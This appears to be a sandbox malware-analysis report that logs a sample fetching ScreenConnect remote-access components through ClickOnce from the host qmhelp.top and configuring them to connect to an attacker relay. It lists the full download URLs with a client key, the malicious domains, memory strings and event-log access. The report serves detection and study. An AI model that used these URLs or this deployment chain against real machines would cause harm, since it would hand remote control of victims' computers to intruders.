Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i= HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: www.qmhelp.top
Source: global traffic	DNS traffic detected: DNS query: miledin.mwhelp.site

Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B6A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/Dig
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: dfsvc.exe, 00000001.00000002.1782486332.000001BCC0B4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cB
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: F2E248BEDDBB2D85122423C41028BFD4.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, 00000000.00000002.1049047141.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiC
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, 00000000.00000002.1049047141.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTry
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dfsvc.exe, 00000001.00000002.1782885176.000001BCC0BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: dfsvc.exe, 00000001.00000002.1782097139.000001BCC0AE0000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1782885176.000001BCC0BB8000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, 00000000.00000002.1049047141.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.di
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 00000001.00000002.1779439053.000001BCBCCD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 00000001.00000002.1783154349.000001BCC0C31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crld
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4551000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325286877.00000000028FF000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325286877.000000000260A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: dfsvc.exe, 00000001.00000002.1782097139.000001BCC0AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wU3.org/2000/0Vldsig#sha1Z5D
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B1D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C3B000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C07000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.qmhelp.top
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.o
Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.1324595190.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA45E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA45E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: ScreenConnect.Core.dll0.1.dr	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B1D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4748000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C3B000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.C
Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.1324008267.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application
Source: dfsvc.exe, 00000001.00000002.1783154349.000001BCC0C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.:
Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.1324008267.0000000000741000.00000004.00000020.00020000.00000000.sdmp, WY5C07FJ.log.1.dr	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.application
Source: dfsvc.exe, 00000001.00000002.1782693476.000001BCC0B83000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1782589812.000001BCC0B65000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1783996071.000001BCC0CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application%
Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.1324008267.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application4db01
Source: dfsvc.exe, 00000001.00000002.1782693476.000001BCC0B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application5db01rm)
Source: dfsvc.exe, 00000001.00000002.1782589812.000001BCC0B65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application=
Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.1324939015.0000000000BE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application?e=Support&y=
Source: WY5C07FJ.log.1.dr	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=miledin.mwhelp.site&
Source: dfsvc.exe, 00000001.00000002.1782693476.000001BCC0B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applicationE
Source: dfsvc.exe, 00000001.00000002.1782693476.000001BCC0B83000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1324008267.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application_
Source: dfsvc.exe, 00000001.00000002.1782693476.000001BCC0B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applicatione12t
Source: dfsvc.exe, 00000001.00000002.1782693476.000001BCC0B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applicatione=msil
Source: dfsvc.exe, 00000001.00000002.1779439053.000001BCBCD03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applicationexe4e089
Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.1324008267.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applicationplication
Source: dfsvc.exe, 00000001.00000002.1779439053.000001BCBCD03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applicationplicatione089
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B1D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4748000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1783624779.000001BCC0CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.dll
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA486A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA492B000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1779439053.000001BCBCCD7000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000002.1325286877.000000000256A000.00000004.00000800.00020000.00000000.sdmp, WY5C07FJ.log.1.dr	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 00000001.00000002.1779439053.000001BCBCCD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.manifestIM
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B1D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.ClientSer
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 00000001.00000002.1781534307.000001BCBEB13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.ClientService.dllY
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 00000001.00000002.1782097139.000001BCC0B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.ClientService.exee
Source: dfsvc.exe, 00000001.00000002.1783624779.000001BCC0CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Windo
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageS
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config
Source: dfsvc.exe, 00000001.00000002.1782693476.000001BCC0B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exeM
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exeX
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsCl
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4D84000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsFileMa
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsFileManager.ex8
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 00000001.00000002.1766358365.000001BCA4B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsFileManager.exe.config
Source: dfsvc.exe, 00000001.00000002.1781534307.000001BCBEB13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsFileManager.exe.configV

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 104.21.72.99:443 -> 192.168.2.9:49684 version: TLS 1.2

E-Banking Fraud

Drops certificate files (DER)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior

Reads the System eventlog

